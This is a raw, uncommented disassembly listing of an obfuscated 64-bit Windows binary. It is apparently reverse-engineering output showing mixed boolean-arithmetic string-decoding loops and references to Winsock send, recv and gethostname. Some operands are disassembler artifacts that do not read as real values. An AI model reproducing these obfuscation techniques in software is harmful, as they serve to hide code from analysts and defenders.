jmp 0x14008c7cd
movabs rcx, 0xef79222f8516b5c4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5c
lea rax, [r8 + r9]
cmp rax, 4
je 0x14008cda1
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x14008cb47
movabs rdx, 0xedf4dbf3e09ce384
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14008c815
movabs rcx, 0x8f305504563fde58
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
movzx eax, byte [rbp + rbx + 0xf10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008c2b2
movabs rdx, 0xb58d06760bbcd2b0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x14008cff6
movabs rcx, 0xdbe9b7e7c139c708
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
jmp 0x14008cdf0
movabs rdx, 0x246695976b6bb60
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008c2b2
movabs rcx, 0x28a31acb2c33afb8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008c2b2
movabs rcx, 0x4effcc3ce1b0a410
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x70
jmp 0x14008ce80
movabs rdx, 0x755c7dae972d9868
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14008c2b2
movabs rcx, 0x9bb92f204caa8cc0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
inc r9
dec rbx
inc rbx
jmp 0x14008c2b2
movabs rdx, 0xc215e09202278118
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008cf35
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x14008ca7f
lea rdx, [rbx + r15]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008c882
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008cac1
movabs rcx, 0xda6571ac1cbff4c8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
movzx eax, byte [rbp + rbx + 0xf10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008c2b2
inc rax
cmp r8, rax
jne 0x14008cae1
movabs rdx, 0x8dac0ec8b1c60c18
mov ecx, Ordinal_45
jmp 0x14008cddb
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008cb12
movabs rcx, 0x1a95fa73914f2f10
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x70
jmp 0x14008ce80
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14008c882
movabs rdx, 0xa77fe61e70d85208
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x38
add r10b, dl
jmp 0x14008cf35
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14008cb7c
movabs rdx, 0xc7982a822b1fef2c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x34
add r10b, dl
jmp 0x14008cf35
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008cbb2
movabs rdx, 0x5482162d0aa91224
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008ce80
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008cbdf
movabs rcx, 0x7c8b3499faf2974
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
jmp 0x14008cfbd
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14008cc15
movabs rdx, 0xe16c01d7ea32351c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008cdf0
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008c821
movabs rcx, 0xbb0f506634b540c4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5c
jmp 0x14008cff9
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008cc8d
movabs rdx, 0xb4cae358397fe990
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xf10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008c2b2
inc rax
cmp r8, rax
jne 0x14008ccbe
movabs rdx, 0x68118074ce8600e0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x20
jmp 0x14008cded
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008cd04
movabs rdx, 0x41b4cf0319090c88
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008c2b2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008cd3a
movabs rdx, 0xf4fb6c1fae0f23d8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008ce80
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008c7cd
movabs rdx, 0x81e557ca8d9846d0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008cf35
movabs rdx, 0x352bf4e7229e5e20
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0xf10]
add r10b, dl
add r10b, r11b
jmp 0x14008ce80
movabs rcx, 0xecf43756d2169c8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0xf10]
lea r10d, [r11 + rcx]
sub r10b, 0x78
jmp 0x14008cdf0
movabs rdx, 0xe0a9deba17f54bfc
mov ecx, recv
add rdx, rbx
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movabs rcx, 0x7ba0eabc9262ef9c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x44
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xf10], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x14008cff9
movabs rdx, 0x2d63419d82ef34ac
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008c2b2
movabs rcx, 0x53bff30f386c2904
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1c
movabs rdx, 0xa1fd9c2e47dfe3f4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
add cl, r10b
mov byte [rbp + rbx + 0xf10], cl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008c2b2
movabs rdx, 0x7a1ca480ede91d5c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14008c2b2
movabs rcx, 0xc6d6076458e3060c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x54
jmp 0x14008cf35
movabs rcx, 0x138f6a47c3dceebc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x24
movabs rcx, 0xc85a4d9ffd5cd84c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x14
add cl, r11b
mov byte [rbp + rbx + 0xf10], cl
inc r9
dec rbx
inc rbx
jmp 0x14008c2b2
movabs rdx, 0xad02300e99d0c01c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008c2b2
movabs rcx, 0xd35ee1804f4db474
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x2c
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008c2b2
mov r11, rdx
movabs rcx, 0x20184463ba479d24
add rcx, rbx
and dl, cl
mov eax, 2
sub al, dl
lea r10d, [rax + rax]
add r10b, cl
add r10b, r11b
movabs rcx, 0xe8729203b7a47570
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x10
add cl, r11b
mov byte [rbp + rbx + 0xf10], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xf10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008c2b2
movabs rcx, 0x4674f5d56fc4917c
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x64
movzx eax, byte [rbp + rbx + 0xf10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008c2b2
movabs rdx, 0x88ebe7f65b0a8724
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008c2b0
movabs rcx, 0xaf48996810877b7c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x64
jmp 0x14008c2a0
lea r14, [rbp + 0x145f980]
jmp 0x14008d0df
lea r14, [rbp + 0x1477f54]
jmp 0x14008d0df
lea r14, [rbp + 0xf10]
lea rdx, [0x140228140]
lea rcx, [rbp + 0x6b8]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x38]
mov rcx, qword [0x14022e160]
call fcn.14006ca20
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006c4e0
mov r15, rax
mov byte [rbp + 0xf38], 0x76
mov byte [rbp + 0xf39], __WSAFDIsSet
mov byte [rbp + 0xf3a], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xf3b], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xf3c], 0x85
mov byte [rbp + 0xf3d], Ordinal_143
mov byte [rbp + 0xf3e], 0x9c
mov byte [rbp + 0xf3f], 0x80
mov byte [rbp + 0xf40], 0x9f
mov byte [rbp + 0xf41], 0x9f
mov byte [rbp + 0xf42], Ordinal_79
mov byte [rbp + 0xf43], WSASetLastError
mov byte [rbp + 0xf44], reloc.WLDAP32.dll_Ordinal_50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf45], xmm0
mov dword [rbp + 0xf55], eax
mov word [rbp + 0xf59], ax
movabs r12, 0xfc1aa8ca520b8b69
movzx ebx, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor esi, esi
movabs r10, 0x2462cb15d3251f05
cmp rsi, 0x23
jae 0x14008dc7d
movzx edi, byte [rbp + rsi + 0xf38]
mov rdx, rdi
cmp r8, rsi
ja 0x14008dc71
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x14008d213
lea rcx, [rsi + r10]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
sub bl, 0x23
jmp 0x14008d250
je 0x14008dbef
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008db56
lea rax, [rcx + 1]
cmp r8, rax
je 0x14008db26
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008dac9
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008da7a
nop dword [rax]
cmp r9, rsi
ja 0x14008dc65
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x14008d27f
lea rcx, [rsi + r12]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
add bl, 0x21
jmp 0x14008d2b2
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008da58
inc rax
cmp r8, rax
je 0x14008da2d
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008da05
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008d9e3
lea rax, [r8 + r9]
cmp rax, rsi
jbe 0x14008d541
nop
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008d51f
lea rax, [r9 + 9]
cmp r8, rax
je 0x14008d4f4
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14008d4c7
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14008d4a0
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14008d2c0
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x61]
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14008dc43
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14008dc21
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14008d3c2
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14008d3a0
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14008d2c0
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14008d468
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14008d446
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14008d424
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14008d3ee
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14008d2c0
lea r8, [r9 + 8]
lea r9, [r8 + 0xa]
jmp 0x14008d2c0
movabs rcx, 0x78deaeadfedd99ad
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
add bl, 0x45
jmp 0x14008d250
movabs rcx, 0x3019188258935ba3
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x75
movabs r10, 0x2462cb15d3251f05
jmp 0x14008d1de
movabs rdx, 0x74f9577850e92516
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14008d1c2
movabs rcx, 0x2c33c14caa9ee70c
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x54
jmp 0x14008db72
movabs rcx, 0xe36e2b210454a902
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0xe
jmp 0x14008dba5
movabs rdx, 0x9aa894f55e0a6af8
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movzx eax, byte [rbp + rsi + 0xf38]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14008d1c2
movabs rdx, 0x7cc405e3acd20e44
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14008dae6
movabs rdx, 0x33fe6fb80687d03a
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
dec rsi
inc rsi
jmp 0x14008d1c2
movabs rcx, 0xeb38d98c603d9230
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x50
inc r9
dec rsi
inc rsi
jmp 0x14008d1c2
movabs rcx, 0xa2734360b9f35426
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0xa
jmp 0x14008da97
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008d60f
movabs rcx, 0x2462cb15d3251f05
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x23
add cl, dil
lea rax, [r9 + r8]
cmp rax, 0x80
je 0x14008d9ba
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x14008d73c
movabs rcx, 0xab8a64334fd86431
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x57
add cl, dil
cmp r8, 0x10
jae 0x14008d98e
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x14008d859
movabs rcx, 0xa7a50cfda1e3ef9a
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x36
add cl, dil
cmp r9, 4
jb 0x14008d97c
movabs rcx, 0x7f5ceab220ca5bfe
add rcx, rsi
movzx eax, cl
and al, dil
mov edx, 7
sub dl, al
add dl, dl
add dl, cl
add dl, dil
lea ebx, [rdx + rdx]
jmp 0x14008da97
jne 0x14008d64d
movabs rdx, 0xf8355194a41716d2
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movzx eax, byte [rbp + rsi + 0xf38]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14008d1c2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008d67c
movabs rcx, 0x89c07debf0ab92e6
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x4a
jmp 0x14008db72
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008d6bf
movabs rdx, 0xd286141796f5d0f0
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14008d1c2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008d705
movabs rdx, 0x1b4baa433d400efa
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
add r8, r9
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14008d1c2
movzx ecx, bl
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008d56b
movabs rdx, 0x3e6202f1d6690722
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14008da97
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008d76b
movabs rcx, 0xf44ffa5ef622a23b
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
add bl, 0x63
jmp 0x14008da97
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008d7ac
movabs rcx, 0x1766530d8f4b9a63
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
add bl, 0x4b
add r8, r9
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14008d1c2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008d7ea
movabs rcx, 0x602be9393595d86d
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
add bl, 5
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14008d1c2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008d819
movabs rcx, 0xa8f17f64dbe01677
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x41
jmp 0x14008db72
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008d5a8
movabs rcx, 0x3a7cabbc2874928b
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
add bl, 0x33
movzx eax, byte [rbp + rsi + 0xf38]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14008d1c2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008d899
movabs rcx, 0xf06aa329482e2da4
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x7c
movzx eax, byte [rbp + rsi + 0xf38]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14008d1c2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008d8df
movabs rdx, 0x1380fbd7e15725cc
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
add r8, r9
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14008d1c2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008d913
movabs rdx, 0x5c46920387a163d6
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14008dae6
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008d948
movabs rcx, 0xa50c282f2deba1e0
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x20
dec rsi
inc rsi
jmp 0x14008d1c2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008d5dc
movabs rdx, 0x369754867a801df4
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14008da97
mov byte [rbp + rsi + 0xf38], cl
movzx ebx, cl
inc rsi
jmp 0x14008d1c2
movabs rdx, 0xc82280ddc7149a08
add rdx, rsi
movzx eax, dl
and al, dil
add al, al
movzx ebx, byte [rbp + rsi + 0xf38]
sub bl, al
sub bl, 0x38
add bl, dl
add bl, dil
jmp 0x14008dae6
movabs rcx, 0x10e817096d5ed812
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, byte [rbp + rsi + 0xf38]
lea ebx, [rdi + rcx]
sub bl, 0x7e
jmp 0x14008db72
movabs rcx, 0xf981c3fbde133daf
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
add bl, 0x37
jmp 0x14008db72
movabs rcx, 0xd66b6b4d44ea4587
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
add bl, 0x4f
dec rsi
inc rsi
jmp 0x14008d1c2
movabs rcx, 0x8da5d5219ea0077d
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x6b
inc r9
dec rsi
inc rsi
jmp 0x14008d1c2
movabs rcx, 0x44e03ef5f855c973
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x25
jmp 0x14008da97
movabs rcx, 0xb355129eabc14d5f
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
add bl, 0x67
movabs rcx, 0xa3bfb5c7f3ef7b03
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x15
add cl, dil
mov byte [rbp + rsi + 0xf38], cl
inc r9
dec rsi
inc rsi
jmp 0x14008d1c2
movabs rcx, 0xd904501bb8e29341
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
add bl, 0x39
movabs rdx, 0xec854bf39a39b90d
add rdx, rsi
movzx eax, dl
and al, dil
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x5b
add cl, dl
add cl, dil
mov byte [rbp + rsi + 0xf38], cl
add r8, r9
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14008d1c2
movabs rcx, 0x477923c46c4e172d
add rcx, rsi
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x3b
movzx eax, bl
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14008d1c2
mov rdi, rdx
movabs rax, 0xfeb38d98c603d923
add rax, rsi
and dl, al
add dl, dl
sub al, dl
lea ebx, [rdi + rax]
add bl, 0xb
movabs rdx, 0x354ae21f4083f717
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
add cl, 0x5f
add cl, dl
movzx eax, cl
mov byte [rbp + rsi + 0xf38], al
inc r9
add rax, r9
sub rsi, rax
movabs rdx, 0x59adad3513a9161c
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, dil
add cl, dl
mov byte [rbp + rsi + 0xf38], cl
inc r8
mov rax, r13
sub rax, r8
add rsi, rax
movzx eax, byte [rbp + rsi + 0xf38]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14008d1c2
movabs rcx, 0x6d286141796f5d0f
add rcx, rsi
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x69
movzx eax, byte [rbp + rsi + 0xf38]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14008d1c2
movabs rcx, 0xe7538256b2491d99
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x2f
jmp 0x14008d1be
movabs rcx, 0x9e8dec2b0bfedf8f
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
add bl, 0x17
jmp 0x14008d1a7
lea rcx, [rbp + 0x170e694]
jmp 0x14008dc84
lea rcx, [rbp + 0xd60599]
jmp 0x14008dc84
lea rcx, [rbp + 0xf38]
mov dword [rbp + 0x1038], 0x41200000
mov dword [rbp + 0x1040], 0x3f800000
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0x1038]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1040]
mov r8, r15
mov edx, 8
call fcn.140037e30
call fcn.1400408a0
mov byte [rbp + 0xf60], WSASetLastError
mov byte [rbp + 0xf61], 0x50
mov byte [rbp + 0xf62], 0x54
mov byte [rbp + 0xf63], Ordinal_45
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf64], xmm0
mov qword [rbp + 0xf74], rax
mov dword [rbp + 0xf7c], eax
mov word [rbp + 0xf80], ax
mov byte [rbp + 0xf82], al
movabs rdi, 0xf270a48bfaae4489
movabs rsi, 0x2c574d5562e30297
movabs r15, 0xce97a64fcefc1ba5
movabs r14, 0x8f2800b5c4eacb4d
movabs r12, 0xf1f8b41626f29403
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14008ec04
movzx r11d, byte [rbp + rbx + 0xf60]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14008ebf8
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008ddb3
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x7d
jmp 0x14008dde0
je 0x14008eb6e
inc rax
cmp r8, rax
je 0x14008eb07
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008eaa2
